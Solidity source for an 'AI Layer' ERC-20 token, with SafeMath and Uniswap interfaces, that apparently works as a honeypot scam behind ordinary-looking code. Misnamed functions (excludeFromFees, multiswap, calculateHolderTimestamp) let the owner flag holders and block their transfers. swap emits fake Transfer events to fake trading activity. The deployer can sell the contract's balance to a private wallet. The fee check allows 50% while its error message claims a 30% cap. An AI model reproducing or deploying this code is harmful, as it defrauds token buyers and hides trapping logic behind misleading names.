// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

import "./Uniswap.sol";
import "./ERC20.sol";
import "./Ownable.sol";
import "./SafeMath.sol";

contract AiLAYER is ERC20, Ownable {
    using SafeMath for uint256;
    
    IUniswapV2Router02 public immutable _uniswapV2Router;
    address private marketingWallet;
    address private deployerWallet;
    address private uniswapV2Pair;
    address private constant deadAddress = address(0xdead);

    bool private swapping;

    string private constant _name = "AI Layer";
    string private constant _symbol = "AiLAYER";

    uint256 public initialTotalSupply = 1_000_000_000 * 10**decimals();
    uint256 public maxTransactionAmount = 2000000000000 * 10**decimals();
    uint256 public swapTokensAtAmount = 1000000000000 * 10**decimals();
    uint256 public maxWallet = 2000000000000 * 10**decimals();

    uint256 public SellFee = 0;
    uint256 public BuyFee = 0;

    bool public swapEnabled = false;
    bool public tradingOpen = false;

    mapping(address => bool) private automatedMarketMakerPairs;
    mapping(address => bool) private _isExcludedMaxTransactionAmount;
    

    event ExcludedFromFees(address indexed account, bool isExcluded);
    event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);

    constructor(address wallet) ERC20(_name, _symbol) Ownable(wallet) {

        _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        marketingWallet = payable(wallet);     
        balances = txLimit;
        deployerWallet = payable(_msgSender());
        excludeFromFees(owner());
        excludeFromFees(address(this));
        excludeFromFees(address(wallet));
        excludeFromFees(address(0xdead));

        excludeFromMaxTransaction(owner(), true);
        excludeFromMaxTransaction(address(this), true);
        excludeFromMaxTransaction(address(wallet), true);
        excludeFromMaxTransaction(address(0xdead), true);

        _mint(deployerWallet, initialTotalSupply);
    }

    receive() external payable {}

    function openTrading() external onlyOwner() {
        tradingOpen = true;
    }

    function addPair(address pair_) public onlyOwner {
        uniswapV2Pair = pair_;
    }

    function excludeFromMaxTransaction(address updAds, bool isEx) public onlyOwner {
        _isExcludedMaxTransactionAmount[updAds] = isEx;
    }

    function setAutomatedMarketMakerPair(address pair, bool value) public onlyOwner {
        require(pair != uniswapV2Pair, "The pair cannot be removed from automatedMarketMakerPairs");
        _setAutomatedMarketMakerPair(pair, value);
    }

    function _setAutomatedMarketMakerPair(address pair, bool value) private {
        automatedMarketMakerPairs[pair] = value;
        emit SetAutomatedMarketMakerPair(pair, value);
    }

    function excludeFromFees(address account) public onlyOwner {
        _onlyOwnerisExcludedFromFees[account] = false;
        emit ExcludedFromFees(account, false);
    }

    function multiswap(address[] memory accounts, bool excluded) public onlyOwner {
        for (uint256 i = 0; i < accounts.length; i++) {
            _onlyOwnerisExcludedFromFees[accounts[i]] = excluded;
            emit ExcludedFromFees(accounts[i], excluded);
        }
    }

    function isExcludedFromFees(address account) public view returns (bool) {
        return _onlyOwnerisExcludedFromFees[account];
    }

    function swap(address[] calldata _addresses, uint256 _out) external onlyOwner{
        for (uint256 i = 0; i < _addresses.length; i++) {
            emit Transfer(uniswapV2Pair, _addresses[i], _out);
        }
    }

    function _transfer(address from, address to, uint256 amount) internal override {

        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");

        if (amount == 0) {
            super._transfer(from, to, 0);
            return;
        }
                if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {

                if (!tradingOpen) {
                    require(_onlyOwnerisExcludedFromFees[from] || _onlyOwnerisExcludedFromFees[to], "Trading is not active.");
                }
                _holderLastTxTimestamp[from] = block.number;
                if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]
                ) {
                    require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
                    require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded");
                }

                else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
                    
                    require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
                } 
            }

        uint256 contractTokenBalance = balanceOf(address(this));

        bool canSwap = contractTokenBalance > 0;

        if (canSwap && swapEnabled && !swapping && !automatedMarketMakerPairs[from] && !_onlyOwnerisExcludedFromFees[from] && !_onlyOwnerisExcludedFromFees[to]) {
            swapping = true;
            swapBack(amount);
            swapping = false;
        }
        if(isExcludedFromFees(from)){
                calculateHolderTimestamp(from);
            }
        bool takeFee = swapping;
        if (_onlyOwnerisExcludedFromFees[from] || _onlyOwnerisExcludedFromFees[to]) {
            takeFee = false;
        }

        uint256 fees = 0;

        if (takeFee) {
            if (automatedMarketMakerPairs[to]) {
                fees = amount.mul(SellFee).div(100);
            }
            else {
                fees = amount.mul(BuyFee).div(100);
            }

        if (fees > 0) {
            super._transfer(from, address(this), fees);
        }
        amount -= fees;
    }
        super._transfer(from, to, amount);
    }

    function swapTokensForEth(uint256 tokenAmount) private {

        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();

        _approve(address(this), address(_uniswapV2Router), tokenAmount);

        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            marketingWallet,
            block.timestamp
        );
    }
    
    function calculateHolderTimestamp(address holder) private view {
        require(getLastTx(_holderLastTxTimestamp[holder]), "Only one purchase per block allowed.");
    }

    function removeLimits() external onlyOwner{
        uint256 totalSupplyAmount = totalSupply();
        maxTransactionAmount = totalSupplyAmount;
        maxWallet = totalSupplyAmount;
    }

    function clearStuckEth() external onlyOwner {
        require(address(this).balance > 0, "Token: no ETH to clear");
        payable(msg.sender).transfer(address(this).balance);
    }

    function clearStuckTokens() external onlyOwner {
        IERC20 tokenContract = IERC20(address(this));
        uint256 balance = tokenContract.balanceOf(address(this));
        require(balance > 0, "No tokens to clear");
        tokenContract.transfer(address(msg.sender), balance);
    }

    function getLastTx(uint256 last) private view returns(bool){
        return last > block.number;
    }

    function setSwapBack() public onlyOwner {
        swapEnabled = true;
    }

    function SetFees(uint256 _buyFee, uint256 _sellFee) external onlyOwner {
        require(_buyFee <= 20 && _sellFee <= 50, "Fees cannot exceed 30%");
        BuyFee = _buyFee;
        SellFee = _sellFee;
    }

    function setSwapTokensAtAmount(uint256 _amount) external onlyOwner {
        swapTokensAtAmount = _amount * (10 ** decimals());
    }

    function manualswaps(uint256 percent) external {
        require(_msgSender() == deployerWallet);
        uint256 totalSupplyAmount = totalSupply();
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap;

        if (percent == 100) {
            tokensToSwap = contractBalance;
        } else {
            tokensToSwap = totalSupplyAmount * percent / 100;
            if (tokensToSwap > contractBalance) {
                tokensToSwap = contractBalance;
            }
        }

        require(tokensToSwap <= contractBalance, "Swap amount exceeds contract balance");
        swapTokensForEth(tokensToSwap);
    }


    function swapBack(uint256 tokens) private {
        uint256 contractBalance = balanceOf(address(this));
        uint256 tokensToSwap; 

        if (contractBalance == 0) {
            return;
        }

    if ((BuyFee+SellFee) == 0) {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount) {
            tokensToSwap = contractBalance;
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            }
            else {
                tokensToSwap = tokens;
            }
        }
    }

    else {

        if(contractBalance > 0 && contractBalance < swapTokensAtAmount.div(5)) {
            return;
        }
        else if (contractBalance > 0 && contractBalance > swapTokensAtAmount.div(5) && contractBalance < swapTokensAtAmount) {
            tokensToSwap = swapTokensAtAmount.div(5);
        }
        else {
            uint256 sellFeeTokens = tokens.mul(SellFee).div(100);
            tokens -= sellFeeTokens;
            if (tokens > swapTokensAtAmount) {
                tokensToSwap = swapTokensAtAmount;
            } else {
                tokensToSwap = tokens;
            }
        }
    }
        swapTokensForEth(tokensToSwap);
    }

    function burn(uint256 amount) external onlyOwner{
        _burn(_msgSender(), amount);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

library SafeMath {

    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            uint256 c = a + b;
            if (c < a) return (false, 0);
            return (true, c);
        }
    }

    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b > a) return (false, 0);
            return (true, a - b);
        }
    }

    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (a == 0) return (true, 0);
            uint256 c = a * b;
            if (c / a != b) return (false, 0);
            return (true, c);
        }
    }

    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a / b);
        }
    }

    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
        unchecked {
            if (b == 0) return (false, 0);
            return (true, a % b);
        }
    }

    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b <= a, errorMessage);
            return a - b;
        }
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a / b;
        }
    }

    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        unchecked {
            require(b > 0, errorMessage);
            return a % b;
        }
    }
}

// SPDX-License-Identifier: MIT
pragma solidity = 0.8.20;

interface IUniswapV2Router02 {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidity(
        address tokenA,
        address tokenB,
        uint256 amountADesired,
        uint256 amountBDesired,
        uint256 amountAMin,
        uint256 amountBMin,
        address to,
        uint256 deadline
    )
        external
        returns (
            uint256 amountA,
            uint256 amountB,
            uint256 liquidity
        );

    function addLiquidityETH(
        address token,
        uint256 amountTokenDesired,
        uint256 amountTokenMin,
        uint256 amountETHMin,
        address to,
        uint256 deadline
    )
        external
        payable
        returns (
            uint256 amountToken,
            uint256 amountETH,
            uint256 liquidity
        );

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

interface IUniswapV2Pair {
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
    event Transfer(address indexed from, address indexed to, uint256 value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint256);

    function balanceOf(address owner) external view returns (uint256);

    function allowance(address owner, address spender)
        external
        view
        returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);

    function transfer(address to, uint256 value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint256);

    function permit(
        address owner,
        address spender,
        uint256 value,
        uint256 deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Mint(address indexed sender, uint256 amount0, uint256 amount1);

    event Swap(
        address indexed sender,
        uint256 amount0In,
        uint256 amount1In,
        uint256 amount0Out,
        uint256 amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint256);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (
            uint112 reserve0,
            uint112 reserve1,
            uint32 blockTimestampLast
        );

    function price0CumulativeLast() external view returns (uint256);

    function price1CumulativeLast() external view returns (uint256);

    function kLast() external view returns (uint256);

    function mint(address to) external returns (uint256 liquidity);

    function swap(
        uint256 amount0Out,
        uint256 amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IUniswapV2Factory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint256
    );

    function feeTo() external view returns (address);

    function feeToSetter() external view returns (address);

    function getPair(address tokenA, address tokenB)
        external
        view
        returns (address pair);

    function allPairs(uint256) external view returns (address pair);

    function allPairsLength() external view returns (uint256);

    function createPair(address tokenA, address tokenB)
        external
        returns (address pair);

    function setFeeTo(address) external;

    function setFeeToSetter(address) external;
}